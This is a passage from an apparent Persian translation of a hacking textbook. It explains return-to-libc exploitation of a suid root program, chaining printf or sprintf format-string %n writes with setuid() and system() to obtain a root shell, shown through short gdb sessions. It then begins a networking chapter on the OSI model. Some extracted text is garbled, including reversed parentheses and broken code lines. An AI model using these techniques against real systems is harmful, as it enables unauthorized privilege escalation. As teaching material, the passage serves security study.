ﺑﺮﻧﺎﻣﻪ ﻫﺎی آزﻣﺎﯾﺸﯽ ﺗﺎﺋﯿﺪ ﻣﯽ ﮐﻨﻨﺪ ﮐﻪ در ﺻﻮرت اﺟﺮا ﺷﺪن ﺑﺮﻧﺎﻣﻪ ﭘﻮﺷﺶ دﻫﻨـﺪه ﺑـﺎ )( execlاز درون ﯾـﮏ ﺑﺮﻧﺎﻣـﻪ
،suid rootﯾﮏ ﭘﻮﺳﺘﻪ رﯾﺸﻪ ﺑﻪ ﻣﺎ اﻋﻄﺎ ﺧﻮاﻫﺪ ﺷﺪ .ﻣﺘﺎﺳﻔﺎﻧﻪ ﺗﺎﺑﻊ )( execlﭘﯿﭽﯿـﺪه ﺗـﺮ از ﺗـﺎﺑﻊ )( systemاﺳـﺖ ،ﺑـﻪ
ﺧﺼﻮص ﺟﻬﺖ ﺑﺎزﮔﺸﺖ ﺑﻪ .libcﺗﺎﺑﻊ )( systemﺗﻨﻬـﺎ ﺑـﻪ ﯾـﮏ آرﮔﻮﻣـﺎن واﺣـﺪ ﻧﯿـﺎز دارد ،اﻣـﺎ ﺗـﺎﺑﻊ )( execlﺑـﻪ ﺳـﻪ
آرﮔﻮﻣﺎن اﺣﺘﯿﺎج دارد ﮐﻪ آﺧﺮﯾﻦ آرﮔﻮﻣﺎن آن ﺑﺎﯾﺪ ﭼﻬﺎر ﺑﺎﯾﺖ ﭘﻮچ ﺑﺎﺷﻨﺪ )ﺑـﺮای ﺧﺎﺗﻤـﻪ دادن ﻟﯿـﺴﺖ آرﮔﻮﻣـﺎن( .اﻣـﺎ
اوﻟﯿﻦ ﺑﺎﯾﺖ ﭘﻮچ ﺳﺒﺐ ﺧﺎﺗﻤﻪ ﯾﺎﻓﺘﻦ رﺷﺘﻪ ی اوﻟﯿﻪ ﻣﯽ ﺷﻮد و ﺑﻪ ﻣﺸﮑﻠﯽ ﻣﺎﻧﻨﺪ ﻣﺸﮑﻼﺗﯽ ﻗﺒﻼ داﺷﺘﯿﻢ ﻣﻨﺠﺮ ﻣﯽ ﺷﻮد .آﯾـﺎ
ﻣﯽ ﺗﻮاﻧﯿﺪ راه ﺣﻠﯽ را ﭘﯿﺸﻨﻬﺎد ﮐﻨﯿﺪ؟
ﺑﺪﯾﻬﯽ اﺳﺖ ﮐﻪ ﺟﻬﺖ ﺑﺮﻗﺮاری ﯾﮏ ﻓﺮاﺧﻮاﻧﯽ )( execlﺑﯽ ﻧﻘﺺ ﺑﺎﯾﺪ ﻓﺮاﺧـﻮاﻧﯽ دﯾﮕـﺮی ﻗﺒـﻞ از آن ﺑﺎﺷـﺪ ﺗـﺎ ﮐﻠﻤـﻪ 4
ﺑﺎﯾﺘﯽ ﭘﻮچ را ﺑﻨﻮﯾﺴﺪ .ﺑﺎ ﺻﺮف زﻣﺎن ﺑﺴﯿﺎر در ﺗﻤﺎم ﺗﻮاﺑﻊ libcﺟﻬـﺖ ﯾـﺎﻓﺘﻦ ﺗـﺎﺑﻌﯽ ﻣﻨﺎﺳـﺐ اﯾـﻦ ﻋﻤـﻞ ﻧﻬﺎﯾﺘـﺎ ﺑـﻪ ﺗـﺎﺑﻊ
)( printfرﺳﯿﺪﯾﻢ .ﺷﻤﺎ ﺑﺎﯾﺪ از اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی رﺷـﺘﻪ-ﻓﺮﻣـﺖ ﺑـﺎ اﯾـﻦ ﺗـﺎﺑﻊ آﺷـﻨﺎﯾﯽ ﺧـﻮﺑﯽ داﺷـﺘﻪ ﺑﺎﺷـﯿﺪ .اﺳـﺘﻔﺎده از
دﺳﺘﯿﺎﺑﯽ ﻣﺴﺘﻘﯿﻢ ﭘﺎراﻣﺘﺮ اﯾﻦ اﻣﮑﺎن را ﺑﻪ ﺗﺎﺑﻊ ﻣﯽ دﻫﺪ ﮐﻪ ﻓﻘﻂ ﺑﻪ ﭘﺎراﻣﺘﺮﻫﺎی ﻣﻮرد ﻧﯿﺎز ﺧﻮد دﺳﺖ ﯾﺎﺑﺪ .اﯾﻦ ﻣﻮﺿﻮع ﺑﻪ
ﻫﻨﮕﺎم زﻧﺠﯿﺮه ﮐﺮدن ﻓﺮاﺧﻮاﻧﯽ ﻫﺎی libcﻣﻔﯿﺪ واﻗﻊ ﻣﯽ ﺷﻮد .ﻫﻤﭽﻨﯿﻦ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ %nرا ﻣـﯽ ﺗـﻮان ﺟﻬـﺖ ﻧﻮﺷـﺘﻦ
ﭼﻬﺎر ﺑﺎﯾﺖ ﭘﻮچ ﺑﻪ ﮐﺎر ﺑﺮد .ﻓﺮاﺧﻮاﻧﯽ زﻧﺠﯿﺮه ﺷﺪه ﻧﻬﺎﯾﯽ ﭼﯿﺰی ﺷﺒﯿﻪ ﺑﻪ زﯾﺮ ﺧﻮاﻫﺪ ﺷﺪ:
110
اﺑﺘﺪا ﺗﺎﺑﻊ )( printfﺑﺎ ﭼﻬﺎر آرﮔﻮﻣﺎن اﺟﺮا ﻣﯽ ﺷﻮد ،اﻣﺎ اﺳﺘﻔﺎده از دﺳﺘﯿﺎﺑﯽ ﻣﺴﺘﻘﯿﻢ ﭘﺎراﻣﺘﺮ در رﺷﺘﻪ ﻓﺮﻣـﺖ ﻣﻮﺟـﻮد در
اوﻟﯿﻦ آرﮔﻮﻣﺎن ﺳﺒﺐ ﭘﺮﯾﺪن ﺗﺎﺑﻊ از آرﮔﻮﻣﺎن دوم و ﺳﻮم ﻣﯽ ﺷﻮد .ﭼﻮن آﺧﺮﯾﻦ آرﮔﻮﻣﺎن ﻧﯿﺰ آدرس ﻫﻤﺎن آرﮔﻮﻣـﺎن
را ﻧﮕﻬﺪاری ﻣﯽ ﮐﻨﺪ ،ﻟﺬا ﭼﻬﺎر ﺑﺎﯾﺖ ﭘﻮچ ،اﯾﻦ آرﮔﻮﻣﺎن را ﺟﺎﯾﻨﻮﯾﺴﯽ ﺧﻮاﻫﻨﺪ ﮐﺮد .ﺳﭙﺲ روﻧﺪ اﺟـﺮا ﺑـﻪ ﺗـﺎﺑﻊ )(execl
ﺑﺎز ﻣﯽ ﮔﺮدد و اﯾﻦ ﺗﺎﺑﻊ ﻃﺒﻖ اﻧﺘﻈﺎرش از ﺳﻪ آرﮔﻮﻣﺎن ﻣﻮﺟﻮد اﺳﺘﻔﺎده ﺧﻮاﻫﺪ ﮐﺮد ،ﺑﻪ اﯾﻦ ﺻﻮرت آرﮔﻮﻣﺎن ﺳـﻮم )ﮐـﻪ
ﺑﺎ ﺑﺎﯾﺖ ﭘﻮچ ﺟﺎﯾﻨﻮﯾﺴﯽ ﺷﺪه ﺑﻮد( ﺳﺒﺐ ﭘﺎﯾﺎن دادن ﻟﯿﺴﺖ آرﮔﻮﻣﺎن ﺑﺎ ﯾﮏ ﺑﺎﯾﺖ ﭘﻮچ ﻣﯽ ﺷﻮد.
اﮐﻨﻮن ﮐﻪ ﻃﺮﺣﯽ ﺑﺮای ﭘﯿﺸﺒﺮد ﻓﺮآﯾﻨﺪ اﮐﺴﭙﻠﻮﯾﺖ ﭘﯿﺪا ﮐﺮدﯾﻢ ،ﺑﺎﯾﺪ آدرس ﻫﺎی ﺗﻮاﺑـﻊ libcرا ﭘﯿـﺪا ﮐـﺮده و ﻫﻤﭽﻨـﯿﻦ
ﭼﻨﺪ رﺷﺘﻪ را در ﺣﺎﻓﻈﻪ ﻗﺮار دﻫﯿﻢ.
$ cat > dummy.c
} ;)(int main() { printf(0); execl
$ gcc -g -o dummy dummy.c
$ gdb -q dummy
(gdb) break main
Breakpoint 1 at 0x8048446: file dummy.c, line 1.
(gdb) run
Starting program: /hacking/dummy
رﺷﺘﻪ ﻫﺎی ﻓﺮﻣﺖ ﺑﺎ ﭘﯿﻮﺳﺘﻦ ﺑﻪ ﻓﺮاﺧﻮاﻧﯽ ﻫﺎی ﺑﺎزﮔﺸﺖ ﺑﻪ ﮐﺘﺎﺑﺨﺎﻧﻪ cاﻣﮑﺎن ﻧﻮﺷﺘﻦ ﭼﻨـﺪﯾﻦ ﮐﻠﻤـﻪ ﺑـﺎ اﺳـﺘﻔﺎده از ﯾـﮏ
ﻓﺮاﺧﻮاﻧﯽ واﺣﺪ را ﻓﺮاﻣﻪ ﻣﯽ ﺳﺎزﻧﺪ .اﮔﺮ ﻧﻮﺷﺘﻦ ﺑﺮﻧﺎﻣﻪ ﭘﻮﺷﺶ دﻫﻨﺪه ﻏﯿﺮﻣﻤﮑﻦ ﺑﺎﺷﺪ ،ﻫﻨﻮز ﻣﯽ ﺗﻮاﻧﯿﻢ ﺑﺎ زﻧﺠﯿﺮه ﮐﺮدن
ﺳﻪ ﻓﺮاﺧﻮاﻧﯽ libcﺑﻪ ﯾﮏ ﭘﻮﺳﺘﻪ رﯾﺸﻪ دﺳﺖ ﯾﺎﺑﯿﻢ .ﺗﺎﺑﻊ )( sprintfدﻗﯿﻘﺎ ﻣﺜﻞ )( printfﮐﺎر ﻣﯽ ﮐﻨﺪ ،ﺑﺎ اﯾﻦ ﺗﻔﺎوت ﮐـﻪ
ﺧﺮوﺟﯽ را )ﺑﻪ ﺟﺎی وﺳﯿﻠﻪ ﺧﺮوﺟﯽ اﺳﺘﺎﻧﺪارد( در رﺷﺘﻪ ای ﮐﻪ در اوﻟﯿﻦ آرﮔﻮﻣﺎن آن ﺗﻌﯿﯿﻦ ﺷﺪه اﺳﺖ ﻣﯽ ﻧﻮﯾـﺴﺪ .ﺑـﻪ
اﯾﻦ ﺻﻮرت ﻣﯽ ﺗﻮان از اﯾﻦ ﺗﺎﺑﻊ ﺑﺮای ﻧﻮﺷﺘﻦ دو ﮐﻠﻤﻪ 4ﺑﺎﯾﺘﯽ ﺑﺎ ﯾﮏ ﻓﺮاﺧﻮاﻧﯽ واﺣﺪ اﺳﺘﻔﺎده ﮐﺮد .اﯾﻦ ﻓﺮاﺧﻮاﻧﯽ واﺣﺪ
اﻣﮑﺎن زﻧﺠﯿﺮه ﺷﺪن ﺳﻪ ﻓﺮاﺧﻮاﻧﯽ ﻣﻮرد ﻧﻈﺮ را ﻓﺮاﻫﻢ ﻣﯽ ﺳﺎزد )در ﺻﻮرﺗﯽ ﮐﻪ اﮔﺮ ﺑﯿﺸﺘﺮ از ﯾﮏ ﺑﺎر ﻓﺮاﺧـﻮاﻧﯽ ﺑـﺸﻮد،
داﺳﺘﺎن ﭼﯿﺰ دﯾﮕﺮی ﺧﻮاﻫﺪ ﺷﺪ( .زﻧﺠﯿﺮه ﺧﻮد را در ﺣﯿﻦ اﺟﺮا ﺗﻐﯿﯿﺮ ﻣﯽ دﻫﺪ .ﻧﺴﺨﻪ ﻫﺎی ﻗﺒﻞ و ﺑﻌـﺪ از ﻓﺮاﺧـﻮاﻧﯽ ﺑـﻪ
ﺻﻮرت زﯾﺮ ﺧﻮاﻫﻨﺪ ﺑﻮد:
ﻓﺮاﺧﻮاﻧﯽ )( sprintfاﺑﺘﺪا ﺻﻮرت ﻣﯽ ﭘﺬﯾﺮد و رﺷﺘﻪ ﻓﺮﻣﺖ را ﺟﻬﺖ ﻧﻮﺷﺘﻦ ﻣﻘﺪار 4ﺑﺎﯾﺘﯽِ ﭘﻮچ ﺑـﻪ ﺟـﺎی آدرس رﺷـﺘﻪ
ﻓﺮﻣﺖ ﺗﻔﺴﯿﺮ ﺧﻮاﻫﺪ ﮐﺮد .ﺳﭙﺲ اداﻣﻪ رﺷﺘﻪ )ﮐﻪ ﺣﺎوی آدرس )( systemاﺳـﺖ( در آدرس اوﻟـﯿﻦ آرﮔﻮﻣـﺎن ﻧﻮﺷـﺘﻪ
ﺧﻮاﻫﺪ ﺷﺪ ﮐﻪ در ﻧﺘﯿﺠﻪ در ﺧﻮدش ﺟﺎﯾﻨﻮﯾﺴﯽ اﻧﺠﺎم ﻣﯽ دﻫﺪ .ﭘﺲ از ﻓﺮاﺧﻮاﻧﯽ )( ،sprintfدو ﮐﻠﻤﻪ ﻣﯿـﺎﻧﯽ ﺟﺎﯾﻨﻮﯾـﺴﯽ
ﺧﻮاﻫﻨﺪ ﺷﺪ و روﻧﺪ اﺟﺮا ﺑﻪ ﺗﺎﺑﻊ )( setuidﺑﺎزﮔﺸﺖ ﺧﻮاﻫﺪ ﮐﺮد .اﯾﻦ ﺗﺎﺑﻊ ﮐﻠﻤـﻪ ﭘـﻮچ ﻧﻮﺷـﺘﻪ ﺷـﺪه اﺧﯿـﺮ را ﺑـﻪ ﻋﻨـﻮان
آرﮔﻮﻣﺎن ﺧﻮد اﺳﺘﻔﺎده ﮐﺮده و اﺟﺮا ﻣﯽ ﺷﻮد ﮐﻪ در ﻧﺘﯿﺠﻪ ﺳﺒﺐ ﺗﻨﻈﯿﻢ ﺷﺪن ﺳﻄﺢ اﺧﺘﯿﺎرات رﯾﺸﻪ ﻣﯽ ﮔـﺮدد ،در اﻧﺘﻬـﺎ
ﻧﯿﺰ ﺑﻪ آدرس ﻧﻮﺷﺘﻪ ﺷﺪه اﺧﯿﺮ ﺑﺮای ﺗﺎﺑﻊ )( systemﺑﺎز ﻣﯽ ﮔﺮدد و ﭘﻮﺳﺘﻪ را اﺟﺮا ﻣﯽ ﻧﻤﺎﯾﺪ.
$ echo "int main(){sprintf(0);setuid();system();}">d.c;gcc -o d.o d.c;gdb -
q d.o;rm
112
*d.
(gdb) break main
Breakpoint 1 at 0x8048476
(gdb) run
Starting program: /hacking/d.o
113
ﺳﯿﺴﺘﻢ ﻫﺎ ﺑﺎﻗﯽ ﻣﺎﻧﺪه اﺳﺖ ﯾﺎری ﺧﻮاﻫﺪ ﮐﺮد .ﺷﺎﯾﺪ ﺑﺎﯾﺪ ﮔﻔﺖ ﮐﻪ ﺗﻨﻬﺎ ﺑﻪ ﭼﯿﺰﻫﺎﯾﯽ ﻓﮑﺮ ﮐﻨﯿـﺪ ﮐـﻪ راﺟـﻊ ﺑـﻪ آﻧﻬـﺎ ﻓﮑـﺮ
ﻧﺸﺪه اﺳﺖ.
114
ﻓﺼﻞ :3ﺷﺒﮑﻪ
ﻫﮏ ﻫﺎی ﺷﺒﮑﻪ ﭘﯿﺮو ﻫﻤﺎن ﻗﻮاﻧﯿﻦ ﻋﻠﻤﯽ ﻫﺴﺘﻨﺪ ﮐﻪ ﻫﮏ ﻫﺎی ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻣﯽ ﺑﺎﺷﻨﺪ :اﺑﺘـﺪا ،درک ﻗـﻮاﻧﯿﻦ ﺳﯿـﺴﺘﻢ و
ﺳﭙﺲ درک ﭼﮕﻮﻧﮕﯽ اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن آن ﻗﻮاﻧﯿﻦ ﺟﻬﺖ دﺳﺘﯿﺎﺑﯽ ﺑﻪ ﻧﺘﯿﺠﻪ ﻣﻄﻠﻮب.
اﺳﺎﺳﺎ ﺷﺒﮑﻪ ﺑﻨﺪی در ﺧﺼﻮص ارﺗﺒﺎﻃﺎت 45ﮐﺎﻣﭙﯿﻮﺗﺮی ﻣﻄﺮح ﻣـﯽ ﺷـﻮد .ﺑـﺮای ارﺗﺒـﺎط ﺻـﺤﯿﺢ دو ﻃـﺮف )ﯾـﺎ ﺑﯿـﺸﺘﺮ(،
اﺳﺘﺎﻧﺪاردﻫﺎ و ﭘﺮوﺗﮑﻞ ﻫﺎﯾﯽ ﻣﻮرد ﻧﯿﺎز اﺳﺖ ،درﺳﺖ ﻣﺎﻧﻨﺪ ﺻﺤﺒﺖ ﮐﺮدن ژاﭘﻨﯽ ﺑﺎ ﻓﺮدی ﮐﻪ ﺗﻨﻬﺎ اﻧﮕﻠﯿﺴﯽ ﻣﯽ داﻧﺪ )ﮐـﻪ
ﻣﻄﻤﺌﻨﺎ ﻫﯿﭻ ﭼﯿﺰ ﻧﺨﻮاﻫﺪ ﻓﻬﻤﯿﺪ( .در زﺑﺎن ارﺗﺒﺎﻃﺎت ،ﮐﺎﻣﭙﯿﻮﺗﺮﻫﺎ و دﯾﮕﺮ ﻗﻄﻌﺎت ﺳﺨﺖ اﻓﺰاری ﺷﺒﮑﻪ ﺑﺮای ارﺗﺒﺎط ﺑﻬﺘﺮ
و ﻣﻮﺛﺮﺗﺮ ﺑﺎﯾﺪ زﺑﺎن ﯾﮑﺴﺎﻧﯽ داﺷﺘﻪ ﺑﺎﺷﻨﺪ ،ﯾﻌﻨﯽ ﺑﺎﯾﺴﺘﯽ ﻣﺠﻤﻮﻋﻪ ای از اﺳﺘﺎﻧﺪاردﻫﺎ در دوره ﻫﺎی زﻣـﺎﻧﯽ ،اﯾـﻦ زﺑـﺎن را
اﯾﺠﺎد ﮐﻨﻨﺪ .اﯾﻦ اﺳﺘﺎﻧﺪاردﻫﺎ ،ﻋﻤﻼ ﺷﺎﻣﻞ ﭼﯿﺰی ﺑﯿﺸﺘﺮ از ﺗﻨﻬﺎ زﺑﺎن ﻫﺴﺘﻨﺪ )ﺷﺎﻣﻞ ﻗﻮاﻧﯿﻦ ارﺗﺒﺎط ﻧﯿﺰ ﻣﯽ ﺑﺎﺷﻨﺪ(.
ﺑﻪ ﻋﻨﻮان ﻣﺜﺎل ،ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﻣﻨﺸﯽ ﺑﺨﺶ ﭘﺸﺘﯿﺒﺎﻧﯽ ،ﺗﻠﻔﻦ را ﺑـﺮ ﻣـﯽ دارد ،ﺑﺎﯾـﺴﺘﯽ اﻃﻼﻋـﺎت ﻣﺨـﺎﺑﺮه ﺷـﺪه و در ﺣـﺎﻟﺘﯽ
ﻣﺸﺨﺺ ﮐﻪ ﭘﯿﺮو ﭘﺮوﺗﮑﻞ ﻫﺎی ﻣﺮﺑﻮﻃﻪ اﺳﺖ ،درﯾﺎﻓﺖ ﺷﻮﻧﺪ .ﻣﻨﺸﯽ ﻣﻌﻤﻮﻻ ﻧﺎم ﮔﯿﺮﻧﺪه و ﻣﺸﮑﻞ ﭘـﯿﺶ آﻣـﺪه را ﻗﺒـﻞ از
اﻧﺘﻘﺎل ارﺗﺒﺎط ﺑﻪ دﭘﺎراﺗﻤﺎن ﻣﺮﺑﻮﻃﻪ ﻣﯽ ﭘﺮﺳـﺪ .اﯾـﻦ راه ﺳـﺎده ،ﭼﮕـﻮﻧﮕﯽ ﮐـﺎرﮐﺮد ﭘﺮوﺗﮑـﻞ را ﻧـﺸﺎن داده و ﻫـﺮ ﮔﻮﻧـﻪ
اﻧﺤﺮاف از اﯾﻦ ﭘﺮوﺗﮑﻞ ﻣﻨﺠﺮ ﺑﻪ ﻣﺸﮑﻼﺗﯽ در اﯾﻦ راﺳﺘﺎ ﺧﻮاﻫـﺪ ﺷـﺪ .ارﺗﺒﺎﻃـﺎت ﺷـﺒﮑﻪ ای ،ﻣﺠﻤﻮﻋـﻪ ای اﺳـﺘﺎﻧﺪارد از
ﭘﺮوﺗﮑﻞ ﻫﺎ ﻧﯿﺰ دارﻧﺪ .اﯾﻦ ﭘﺮوﺗﮑﻞ ﻫﺎ ﺗﻮﺳﻂ ﻣﺪل ﻣﺮﺟﻊ 46OSIﺗﻌﺮﯾﻒ ﺷﺪه اﻧﺪ.
.3,1,1ﻣﺪل OSI
ﻣﺪل ﻣﺮﺟﻊ ،OSIﻣﺠﻤﻮﻋﻪ ای از اﺳﺘﺎﻧﺪاردﻫﺎ و ﻗﻮاﻧﯿﻦ ﺑﯿﻦ اﻟﻤﻠﻠﯽ را اراﺋﻪ داده ﺗﺎ ﺑﻪ ﻫﺮ ﺳﯿﺴﺘﻢ ﻣﻄـﺎع از اﯾـﻦ ﭘﺮوﺗﮑـﻞ
ﻫﺎ ،اﺟﺎزه ﺑﺮﻗﺮاری ارﺗﺒﺎط را ﺑﺎ ﺳﯿﺴﺘﻢ ﻫﺎی دﯾﮕﺮی ﮐﻪ از آﻧﻬﺎ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ ،ﺑﺪﻫﺪ .اﯾﻦ ﭘﺮوﺗﮑﻞ ﻫـﺎ در ﻫﻔـﺖ ﻻﯾـﻪ
ﻣﺠﺰا )وﻟﯽ ﺑﻪ ﻫﻢ ﭘﯿﻮﺳﺘﻪ( ﻃﺒﻘﻪ ﺑﻨﺪی ﺷﺪه اﻧﺪ ﮐﻪ ﻫﺮ ﻻﯾﻪ ﺑﺎ ﺟﻨﺒﻪ ﻣﺘﻔﺎوﺗﯽ از ﻓﺮآﯾﻨﺪ ارﺗﺒﺎط ﺳﺮوﮐﺎر دارد .ﻻزم ﺑﻪ ذﮐـﺮ
اﺳﺖ ﮐﻪ اﯾﻦ ﻣﺪل ﺑﻪ ﺳﺨﺖ اﻓﺰارﻫﺎ )ﻣﺎﻧﻨﺪ ﻣﺴﯿﺮﯾﺎب ﯾﺎ دﯾﻮارﻫﺎی آﺗﺶ( اﺟﺎزه ﺗﻤﺮﮐﺰ روی وﺟﻪ ﻣﺸﺨﺼﯽ از ارﺗﺒـﺎط را
ﮐﻪ روی آﻧﻬﺎ اﻋﻤﺎل ﺷﺪه اﺳﺖ ،ﻣﯽ دﻫﺪ و دﯾﮕﺮ ﻗﺴﻤﺖ ﻫﺎ را ﻧﺎدﯾﺪه ﻣﯽ ﮔﯿﺮﻧﺪ.
ﻫﻔﺖ ﻻﯾﻪ OSIﺑﻪ ﺻﻮرت زﯾﺮ ﻣﯽ ﺑﺎﺷﻨﺪ:
ﻻﯾﻪ :Physicalﭘﺎﺋﯿﻦ ﺗﺮﯾﻦ ﻻﯾﻪ در اﯾﻦ ﻣﺪل ﮐﻪ ﺑﺎ ارﺗﺒﺎط ﻓﯿﺰﯾﮑﯽ ﺑـﯿﻦ دو ﮔـﺮه ﺳـﺮوﮐﺎر دارد و ﺑﺰرﮔﺘـﺮﯾﻦ •
ﻧﻘﺶ آن ،ﻣﺨﺎﺑﺮه ﮐﺮدن ﺟﺮﯾﺎن ﺧﺎم ﺑﯿﺖ ﻫﺎ ﻣﯽ ﺑﺎﺷﺪ .اﯾﻦ ﻻﯾـﻪ ﻫﻤﭽﻨـﯿﻦ ﻣـﺴﺌﻮل ﻓﻌـﺎل ﺳـﺎزی ،ﻧﮕﻬـﺪاری و
ﻏﯿﺮﻓﻌﺎل ﮐﺮدن اﯾﻦ ارﺗﺒﺎﻃﺎتِ ﺟﺮﯾﺎن-ﺑﯿﺘﯽ اﺳﺖ.
ﻻﯾﻪ :Data-Linkدر ﺣﻘﯿﻘﺖ اﯾﻦ ﻻﯾﻪ ﺑﺎ اﻧﺘﻘﺎل داده ﺑﯿﻦ دو ﮔﺮه ﺳﺮوﮐﺎر دارد .ﻻﯾﻪ ﻓﯿﺰﯾﮑﯽ ﻣـﺴﺌﻮل ارﺳـﺎل •
ﺑﯿﺘﻬﺎی ﺧﺎم اﺳﺖ ،اﻣﺎ ﻧﻘﺶ ﻫﺎی ﺳﻄﺢ-ﺑﺎﻻﯾﯽ را ﻧﯿﺰ اراﺋﻪ ﻣﯽ دﻫﺪ ،از ﻗﺒﯿﻞ ﺗﺼﺤﯿﺢ ﺧﻄﺎ و ﮐﻨﺘﺮل ﺟﺮﯾـﺎن .اﯾـﻦ
ﻻﯾﻪ روﯾﻪ ﻫﺎﯾﯽ ﺟﻬﺖ ﻓﻌﺎل ﺳﺎزی ،ﻧﮕﻬﺪاری و ﻏﯿﺮﻓﻌﺎل ﮐﺮدن ارﺗﺒﺎط ﻫﺎی اﺗﺼﺎل داده ) (data-linkﻧﯿﺰ اراﺋـﻪ
ﻣﯽ دﻫﺪ.
44
Networking
45
Communication
46
Open System Interconnection
115
ﻻﯾﻪ :Networkاﯾﻦ ﻻﯾﻪ ﺑﻪ ﺻﻮرت ﯾﮏ زﻣﯿﻨﻪ ﻣﯿﺎﻧﯽ 47ﻋﻤﻞ ﻣﯽ ﮐﻨﺪ و ﻧﻘﺶ ﮐﻠﯿﺪی آن اﻧﺘﻘﺎل اﻃﻼﻋـﺎت ﺑـﯿﻦ •
ﻻﯾﻪ ﻫﺎی ﺑﺎﻻﺗﺮ و ﭘﺎﺋﯿﻦ ﺗﺮ ﻣﯽ ﺑﺎﺷﺪ .اﯾﻦ ﻻﯾﻪ ﻋﻤﻠﯿﺎﺗﯽ در راﺳﺘﺎی آدرس دﻫﯽ و ﻣﺴﯿﺮﯾﺎﺑﯽ ﻧﯿﺰ اﻧﺠﺎم ﻣﯽ دﻫﺪ.
ﻻﯾﻪ :Transportاﯾﻦ ﻻﯾﻪ اﻧﺘﻘﺎل ﺷﻔﺎف 48داده را ﺑﯿﻦ ﺳﯿﺴﺘﻢ ﻫﺎ ﺑﺮ ﻋﻬـﺪه دارد .ﺑـﺎ اراﺋـﻪ وﺳـﯿﻠﻪ ای ﺟﻬـﺖ •
اﻧﺘﻘﺎل ﻗﺎﺑﻞ اﻃﻤﯿﻨﺎن داده ﻫﺎ ،اﯾﻦ ﻻﯾﻪ اﯾﻦ اﻣﮑﺎن را ﻓﺮاﻫﻢ ﻣﯽ ﺳﺎزد ﮐﻪ ﻻﯾﻪ ﻫـﺎی ﺑـﺎﻻﺗﺮ ﺑـﺮای اﻧﺘﻘـﺎل داده ﻫـﺎ
ﻧﮕﺮان ﻣﺴﺎﺋﻞ دﯾﮕﺮ ﻧﺒﺎﺷﻨﺪ ،ﺻﺮﻓﻨﻈﺮ از ﻗﺎﺑﻞ اﻃﻤﯿﻨﺎن ﺑﻮدن ﯾﺎ ﻧﺒﻮدن آﻧﻬﺎ.
ﻻﯾﻪ :Sessionاﯾﻦ ﻻﯾﻪ ﻣﺴﺌﻮل ﺑﺮﻗﺮاری و ﻧﮕﻬﺪاری ارﺗﺒﺎﻃﺎت ﺑﯿﻦ ﺑﺮﻧﺎﻣﻪ ﻫﺎی ﺷﺒﮑﻪ اﺳﺖ. •
ﻻﯾﻪ :Presentationاﯾﻦ ﻻﯾﻪ ﻣﺴﺌﻮل اراﺋﻪ داده ﻫﺎ ﺑﻪ ﺑﺮﻧﺎﻣﻪ ﻫﺎ اﺳﺖ و اﯾﻦ ﮐـﺎر در ﻗﺎﻟـﺐ ﺳـﺎﺧﺘﺎر ﯾـﺎ زﺑـﺎﻧﯽ •
اﻧﺠﺎم ﻣﯽ ﺷﻮد ﮐﻪ ﺑﺮای آﻧﻬﺎ ﻗﺎﺑﻞ ﻓﻬﻢ ﺑﺎﺷﺪ .اﯾﻦ ﻻﯾﻪ اﻣﮑﺎن اﺟﺮای ﻋﻤﻠﯿﺎﺗﯽ ﻣﺎﻧﻨﺪ رﻣﺰﻧﮕﺎری و ﻓﺸﺮده ﺳـﺎزی
داده ﻫﺎ را ﻧﯿﺰ ﻓﺮاﻫﻢ ﻣﯽ ﺳﺎزد.
ﻻﯾﻪ :Applicationاﯾﻦ ﻻﯾﻪ ﻣﺴﺌﻮل ﺛﺒﺖ ﻧﯿﺎزﻣﻨﺪﯾﻬﺎی ﺑﺮﻧﺎﻣﻪ اﺳﺖ. •
ﻫﻨﮕﺎﻣﯽ ﮐﻪ داده ﺑﻮاﺳﻄﻪ اﯾﻦ ﭘﺮوﺗﮑﻞ ﻫﺎ ﻣﺮاوده ﺷﺪ ،در ﻗﻄﻌﻪ ﻫﺎﯾﯽ ﮐﻮﭼﮏ ﺑﻨﺎم ﺑﺴﺘﻪ ) (packetارﺳﺎل ﻣﯽ ﺷـﻮد .ﻫـﺮ
ﺑﺴﺘﻪ ﺣﺎوی ﯾﮏ ﭘﯿﺎده ﺳﺎزی از ﭘﺮوﺗﮑﻞ ﻫﺎی اﯾﻦ ﻻﯾﻪ ﻫﺎ اﺳـﺖ .ﺑـﺴﺘﻪ ﺑـﺎ ﺷـﺮوع از ﻻﯾـﻪ ،applicationاﻃﻼﻋـﺎت ﻻﯾـﻪ
presentationرا ﺑﻪ دور داده ﻫﺎ ﻣﯽ ﭘﯿﭽﺎﻧﺪ ) (wrapو اﯾﻦ روﻧﺪ ﺗﺎ ﻻﯾﻪ physicalاداﻣﻪ ﻣﯽ ﯾﺎﺑﺪ .اﯾﻦ ﻓﺮآﯾﻨﺪ ﮐﭙـﺴﻮﻟﻪ
ﺳﺎزی ) (encapsulationﻧﺎﻣﯿﺪه ﻣﯽ ﺷﻮد .ﻫﺮ ﻻﯾﻪ ﭘﯿﭽﯿﺪه ﺷﺪه ﺑﻪ دور ﺑﺴﺘﻪ ،ﺣﺎوی ﯾﮏ ﻫﺪر 49و ﯾﮏ ﺑﺪﻧـﻪ 50اﺳـﺖ:
ﻫﺪر ﺷﺎﻣﻞ اﻃﻼﻋﺎت ﭘﺮوﺗﮑﻠﯽِ ﻣﻮرد ﻧﯿﺎز ﺑﺮای آن ﻻﯾﻪ ﻣﯿﺒﺎﺷﺪ .ﻗﺴﻤﺖ ﺑﺪﻧﻪ ﻧﯿﺰ ﺣـﺎوی داده ﻫـﺎی آن ﻻﯾـﻪ اﺳـﺖ .ﺑﺪﻧـﻪ
ﻣﺮﺑﻮط ﺑﻪ ﯾﮏ ﻻﯾﻪ ،ﺷﺎﻣﻞ ﮐﻞ ﺑﺴﺘﻪ ای ) (packageاﺳﺖ ﮐﻪ از ﻻﯾﻪ ﻫﺎی ﻗﺒﻠﯽ ﮐﭙﺴﻮﻟﻪ ﺳﺎزی ﺷﺪه اﺳﺖ .ﻣﺎﻧﻨـﺪ ﭘﻮﺳـﺖ
ﯾﮏ ﭘﯿﺎز ﯾﺎ زﻣﯿﻨﻪ ﻫﺎی ﺗﺎﺑﻌﯽ در ﭘﺸﺘﻪ ی ﯾﮏ ﺑﺮﻧﺎﻣﻪ.
